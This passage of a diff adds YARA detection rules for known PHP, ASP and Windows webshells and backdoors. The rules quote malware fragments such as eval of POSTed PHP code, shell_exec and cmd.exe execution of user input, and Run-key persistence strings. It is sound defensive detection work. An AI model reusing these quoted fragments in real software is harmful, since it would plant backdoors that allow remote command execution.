+		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
+		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
+		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
+		id = "590c5320-ef85-5522-94fd-4619749f7eb1"
+	strings:
+		$s5 = "$filename = $backupstring.\"$filename\";" fullword
+		$s6 = "while ($file = readdir($folder)) {" fullword
+		$s7 = "if($file != \".\" && $file != \"..\")" fullword
+		$s9 = "$backupstring = \"copy_of_\";" fullword
+		$s10 = "if( file_exists($file_name))" fullword
+		$s13 = "global $file_name, $filename;" fullword
+		$s16 = "copy($file,\"$filename\");" fullword
+		$s18 = "<td width=\"49%\" height=\"142\">" fullword
+	condition:
+		all of them
+}
+rule WebShell__findsock_php_findsock_shell_php_reverse_shell {
+	meta:
+		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
+		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
+		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
+		id = "6567c8f1-bd7f-5844-b937-3db2d8eb7408"
+	strings:
+		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_6 {
+	meta:
+		description = "PHP Webshells Github Archive"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
+		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+		id = "e61ec617-565a-5b24-82f4-3677ef379a06"
+	strings:
+		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
+		$s5 = "echo shell_exec($com);" fullword
+		$s7 = "if($sertype == \"winda\"){" fullword
+		$s8 = "function execute($com)" fullword
+		$s12 = "echo decode(execute($cmd));" fullword
+		$s15 = "echo system($com);" fullword
+	condition:
+		4 of them
+}
+
+rule Unpack_Injectt {
+	meta:
+		description = "Webshells Auto-generated - file Injectt.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8a5d2158a566c87edc999771e12d42c5"
+		id = "80dc3086-41a6-5e30-bbf4-463500fe5e33"
+	strings:
+		$s2 = "%s -Run                              -->To Install And Run The Service"
+		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
+		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_fso {
+	meta:
+		description = "Webshells Auto-generated - file fso.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b37f3cde1a08890bd822a182c3a881f6"
+		id = "094eeff9-0da0-5a44-a45c-f8ee57861e7a"
+	strings:
+		$s0 = "<!-- PageFSO Below -->"
+		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_ssh {
+	meta:
+		description = "Webshells Auto-generated - file ssh.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1aa5307790d72941589079989b4f900e"
+		id = "0b971065-df16-5092-beff-c55608447f19"
+	strings:
+		$s0 = "eval(gzinflate(str_rot13(base64_decode('"
+	condition:
+		all of them
+}
+rule Debug_BDoor {
+	meta:
+		description = "Webshells Auto-generated - file BDoor.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e4e8e31dd44beb9320922c5f49739955"
+		id = "0938efe7-2b6d-5749-af9a-967cca85defb"
+	strings:
+		$s1 = "\\BDoor\\"
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+	condition:
+		all of them
+}
+rule bin_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
+		id = "8564d787-5edc-59b0-b1ef-2f33c8a24f82"
+	strings:
+		$s0 = "Recieved respond from server!!"
+		$s4 = "packet door client"
+		$s5 = "input source port(whatever you want):"
+		$s7 = "Packet sent,waiting for reply..."
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_ZXshell {
+	meta:
+		description = "Webshells Auto-generated - file ZXshell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "246ce44502d2f6002d720d350e26c288"
+		id = "621ac87e-b1f8-58d7-9328-54af5ca9b605"
+	strings:
+		$s0 = "WPreviewPagesn"
+		$s1 = "DA!OLUTELY N"
+	condition:
+		all of them
+}
+rule RkNTLoad {
+	meta:
+		description = "Webshells Auto-generated - file RkNTLoad.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "262317c95ced56224f136ba532b8b34f"
+		id = "fd4b1343-5fa9-5ad8-bee1-6b06b93ddfbe"
+	strings:
+		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s2 = "5pur+virtu!"
+		$s3 = "ugh spac#n"
+		$s4 = "xcEx3WriL4"
+		$s5 = "runtime error"
+		$s6 = "loseHWait.Sr."
+		$s7 = "essageBoxAw"
+		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"
+	condition:
+		all of them
+}
+rule binder2_binder2 {
+	meta:
+		description = "Webshells Auto-generated - file binder2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d594e90ad23ae0bc0b65b59189c12f11"
+		id = "29269dc0-f2e4-56ec-ad64-0dff00e339b7"
+	strings:
+		$s0 = "IsCharAlphaNumericA"
+		$s2 = "WideCharToM"
+		$s4 = "g 5pur+virtu!"
+		$s5 = "\\syslog.en"
+		$s6 = "heap7'7oqk?not="
+		$s8 = "- Kablto in"
+	condition:
+		all of them
+}
+rule thelast_orice2 {
+	meta:
+		description = "Webshells Auto-generated - file orice2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "aa63ffb27bde8d03d00dda04421237ae"
+		id = "968cef9e-0163-5f4a-91e3-07510f9f4fcd"
+	strings:
+		$s0 = " $aa = $_GET['aa'];"
+		$s1 = "echo $aa;"
+	condition:
+		all of them
+}
+rule FSO_s_sincap {
+	meta:
+		description = "Webshells Auto-generated - file sincap.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
+		id = "fcee20a3-e71b-5f69-ac67-8660fd270703"
+	strings:
+		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
+		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="
+	condition:
+		all of them
+}
+rule PhpShell {
+	meta:
+		description = "Webshells Auto-generated - file PhpShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "539baa0d39a9cf3c64d65ee7a8738620"
+		id = "887264d3-5704-5e38-b0a6-44d529258ea2"
+	strings:
+		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."
+	condition:
+		all of them
+}
+rule HYTop_DevPack_config {
+	meta:
+		description = "Webshells Auto-generated - file config.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b41d0e64e64a685178a3155195921d61"
+		id = "da1b8ce1-8b17-53f6-a86b-ad3fe918084e"
+	strings:
+		$s0 = "const adminPassword=\""
+		$s2 = "const userPassword=\""
+		$s3 = "const mVersion="
+	condition:
+		all of them
+}
+rule sendmail {
+	meta:
+		description = "Webshells Auto-generated - file sendmail.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "75b86f4a21d8adefaf34b3a94629bd17"
+		id = "dd33c2bb-61bf-57b7-82b9-d864097f7a56"
+	strings:
+		$s3 = "_NextPyC808"
+		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+		id = "9f1adcd6-b721-54ef-a20f-c3a353629a40"
+	strings:
+		$s5 = " byMesaj "
+	condition:
+		all of them
+}
+rule hkshell_hkshell {
+	meta:
+		description = "Webshells Auto-generated - file hkshell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "168cab58cee59dc4706b3be988312580"
+		id = "7436cd7c-7027-56dc-bb62-fac0f70c27d8"
+	strings:
+		$s1 = "PrSessKERNELU"
+		$s2 = "Cur3ntV7sion"
+		$s3 = "Explorer8"
+	condition:
+		all of them
+}
+rule iMHaPFtp {
+	meta:
+		description = "Webshells Auto-generated - file iMHaPFtp.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+		id = "c810c630-ce08-5059-ad49-f65b244f4d19"
+	strings:
+		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"
+	condition:
+		all of them
+}
+rule Unpack_TBack {
+	meta:
+		description = "Webshells Auto-generated - file TBack.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a9d1007823bf96fb163ab38726b48464"
+		id = "b5f93621-e1e9-5aed-b574-471b4c1f9570"
+	strings:
+		$s5 = "\\final\\new\\lcc\\public.dll"
+	condition:
+		all of them
+}
+rule DarkSpy105 {
+	meta:
+		description = "Webshells Auto-generated - file DarkSpy105.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
+		id = "9d519ccf-fe52-5b82-a39d-c9f86c1089e1"
+	strings:
+		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"
+	condition:
+		all of them
+}
+rule EditServer_EXE {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f945de25e0eba3bdaf1455b3a62b9832"
+		id = "97928144-0112-5288-8f95-acf7a0d56e71"
+	strings:
+		$s2 = "Server %s Have Been Configured"
+		$s5 = "The Server Password Exceeds 32 Characters"
+		$s8 = "9--Set Procecess Name To Inject DLL"
+	condition:
+		all of them
+}
+rule FSO_s_reader {
+	meta:
+		description = "Webshells Auto-generated - file reader.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
+		id = "d596f7f4-5b0d-5f17-94d3-2582ec041eb1"
+	strings:
+		$s2 = "mailto:mailbomb@hotmail."
+	condition:
+		all of them
+}
+rule ASP_CmdAsp {
+	meta:
+		description = "Webshells Auto-generated - file CmdAsp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
+		id = "e4b48843-1936-5717-b2b6-add5b4a14d04"
+	strings:
+		$s2 = "' -- Read the output from our command and remove the temp file -- '"
+		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+		$s9 = "' -- create the COM objects that we will be using -- '"
+	condition:
+		all of them
+}
+rule KA_uShell {
+	meta:
+		description = "Webshells Auto-generated - file KA_uShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "685f5d4f7f6751eaefc2695071569aab"
+		id = "34e220db-2fb5-59dc-b5e8-d88f844d3977"
+	strings:
+		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
+		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"
+	condition:
+		all of them
+}
+rule PHP_Backdoor_v1 {
+	meta:
+		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0506ba90759d11d78befd21cabf41f3d"
+		id = "f47298a9-a47c-5088-ab1f-1bd76bfd0ca8"
+	strings:
+
+		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
+		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"
+	condition:
+		all of them
+}
+rule svchostdll {
+	meta:
+		description = "Webshells Auto-generated - file svchostdll.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0f6756c8cb0b454c452055f189e4c3f4"
+		id = "b369d702-1f29-56ec-a742-f87d9c42c775"
+	strings:
+		$s0 = "InstallService"
+		$s1 = "RundllInstallA"
+		$s2 = "UninstallService"
+		$s3 = "&G3 Users In RegistryD"
+		$s4 = "OL_SHUTDOWN;I"
+		$s5 = "SvcHostDLL.dll"
+		$s6 = "RundllUninstallA"
+		$s7 = "InternetOpenA"
+		$s8 = "Check Cloneomplete"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_server {
+	meta:
+		description = "Webshells Auto-generated - file server.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1d38526a215df13c7373da4635541b43"
+		id = "0e4fee1b-8a16-5738-9600-fa965f8c84c2"
+	strings:
+		$s0 = "<!-- PageServer Below -->"
+	condition:
+		all of them
+}
+rule vanquish {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "684450adde37a93e8bb362994efc898c"
+		id = "143e5e46-ffbc-5aee-9f9b-13374a6c3c10"
+	strings:
+		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
+		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
+		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"
+	condition:
+		all of them
+}
+rule winshell {
+	meta:
+		description = "Webshells Auto-generated - file winshell.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3144410a37dd4c29d004a814a294ea26"
+		id = "24edd03a-df71-5d84-9764-ba7903b68064"
+	strings:
+		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
+		$s1 = "WinShell Service"
+		$s2 = "__GLOBAL_HEAP_SELECTED"
+		$s3 = "__MSVCRT_HEAP_SELECT"
+		$s4 = "Provide Windows CmdShell Service"
+		$s5 = "URLDownloadToFileA"
+		$s6 = "RegisterServiceProcess"
+		$s7 = "GetModuleBaseNameA"
+		$s8 = "WinShell v5.0 (C)2002 janker.org"
+	condition:
+		all of them
+}
+rule FSO_s_remview {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+		id = "5040ddbc-2e61-50ca-b738-a4ac8feec3f1"
+	strings:
+		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
+		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
+		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"
+	condition:
+		all of them
+}
+rule saphpshell {
+	meta:
+		description = "Webshells Auto-generated - file saphpshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d7bba8def713512ddda14baf9cd6889a"
+		id = "42bcd739-714e-5dbf-a3a1-929f3d16ed6f"
+	strings:
+		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006Z {
+	meta:
+		description = "Webshells Auto-generated - file 2006Z.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "fd1b6129abd4ab177fed135e3b665488"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+	strings:
+		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
+		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
+	condition:
+		all of them
+}
+rule admin_ad {
+	meta:
+		description = "Webshells Auto-generated - file admin-ad.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
+		id = "7d87b4f6-3227-53cb-803c-4f9c7327f203"
+	strings:
+		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
+		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"
+	condition:
+		all of them
+}
+rule FSO_s_casus15 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+		id = "305842e4-26ad-573d-8df3-e32e239e434b"
+	strings:
+		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"
+	condition:
+		all of them
+}
+rule BIN_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
+		id = "515ab1b3-7923-55de-8c19-71ef5d9b4366"
+	strings:
+		$s0 = "=====Remote Shell Closed====="
+		$s2 = "All Files(*.*)|*.*||"
+		$s6 = "WSAStartup Error!"
+		$s7 = "SHGetFileInfoA"
+		$s8 = "CreateThread False!"
+		$s9 = "Port Number Error"
+	condition:
+		4 of them
+}
+rule shelltools_g0t_root_uptime {
+	meta:
+		description = "Webshells Auto-generated - file uptime.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
+		id = "4f649757-9502-5640-bc17-11cad6c779f4"
+	strings:
+		$s0 = "JDiamondCSlC~"
+		$s1 = "CharactQA"
+		$s2 = "$Info: This file is packed with the UPX executable packer $"
+		$s5 = "HandlereateConso"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule Simple_PHP_BackDooR {
+	meta:
+		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a401132363eecc3a1040774bec9cb24f"
+		id = "bd7c19b9-e035-5e70-b626-1d210cadc055"
+	strings:
+		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
+		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
+		$s9 = "// a simple php backdoor"
+	condition:
+		1 of them
+}
+rule sig_2005Gray {
+	meta:
+		description = "Webshells Auto-generated - file 2005Gray.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
+		id = "978fb04e-517d-51cf-98ca-5fd6b421365e"
+	strings:
+		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
+		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"
+	condition:
+		all of them
+}
+rule DllInjection {
+	meta:
+		description = "Webshells Auto-generated - file DllInjection.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a7b92283a5102886ab8aee2bc5c8d718"
+		id = "8a57e122-fd00-57f3-94db-736c5bfd76db"
+	strings:
+		$s0 = "\\BDoor\\DllInjecti"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f1484f882dc381dde6eaa0b80ef64a07"
+		id = "3c160017-0332-532a-bb7f-390a4a34dc4e"
+	strings:
+		$s2 = "cress.exe"
+		$s7 = "\\Debug\\Mithril."
+	condition:
+		all of them
+}
+rule hkshell_hkrmv {
+	meta:
+		description = "Webshells Auto-generated - file hkrmv.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
+		id = "986fad12-9198-5e0a-88d6-a9be6963ff8c"
+	strings:
+		$s5 = "/THUMBPOSITION7"
+		$s6 = "\\EvilBlade\\"
+	condition:
+		all of them
+}
+rule WEBSHELL_PHP_1 {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		old_rule_name = "phpshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1dccb1ea9f24ffbd085571c88585517b"
+		id = "d0107af3-e484-54cf-a238-dd1e71efd3f6"
+	strings:
+		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
+		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
+		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "
+	condition:
+		all of them
+}
+rule FSO_s_cmd {
+	meta:
+		description = "Webshells Auto-generated - file cmd.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
+		id = "f7a74f21-aec9-5ee7-a80e-0fe34b977a71"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
+		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_phpft {
+	meta:
+		description = "Webshells Auto-generated - file phpft.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "60ef80175fcc6a879ca57c54226646b1"
+		id = "00bc690b-4977-5076-a40a-edd39c37233f"
+	strings:
+		$s6 = "PHP Files Thief"
+		$s11 = "http://www.4ngel.net"
+	condition:
+		all of them
+}
+rule FSO_s_indexer {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "135fc50f85228691b401848caef3be9e"
+		id = "fba053d7-5413-563f-8c27-0554349500b2"
+	strings:
+		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"
+	condition:
+		all of them
+}
+rule r57shell {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
+	strings:
+		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"
+	condition:
+		all of them
+}
+rule bdcli100 {
+	meta:
+		description = "Webshells Auto-generated - file bdcli100.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b12163ac53789fb4f62e4f17a8c2e028"
+		id = "c74e8822-9556-5596-a130-c6e0120d7103"
+	strings:
+		$s5 = "unable to connect to "
+		$s8 = "backdoor is corrupted on "
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005Red {
+	meta:
+		description = "Webshells Auto-generated - file 2005Red.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
+		id = "963effd9-f31d-5238-9419-b5dd11822e56"
+	strings:
+		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
+		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X2 {
+	meta:
+		description = "Webshells Auto-generated - file 2006X2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cc5bf9fc56d404ebbc492855393d7620"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+	strings:
+		$s2 = "Powered By "
+		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."
+	condition:
+		all of them
+}
+rule rdrbs084 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs084.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ed30327b255816bdd7590bf891aa0020"
+		id = "97548273-6894-5c9f-8cca-d966ce770ada"
+	strings:
+		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
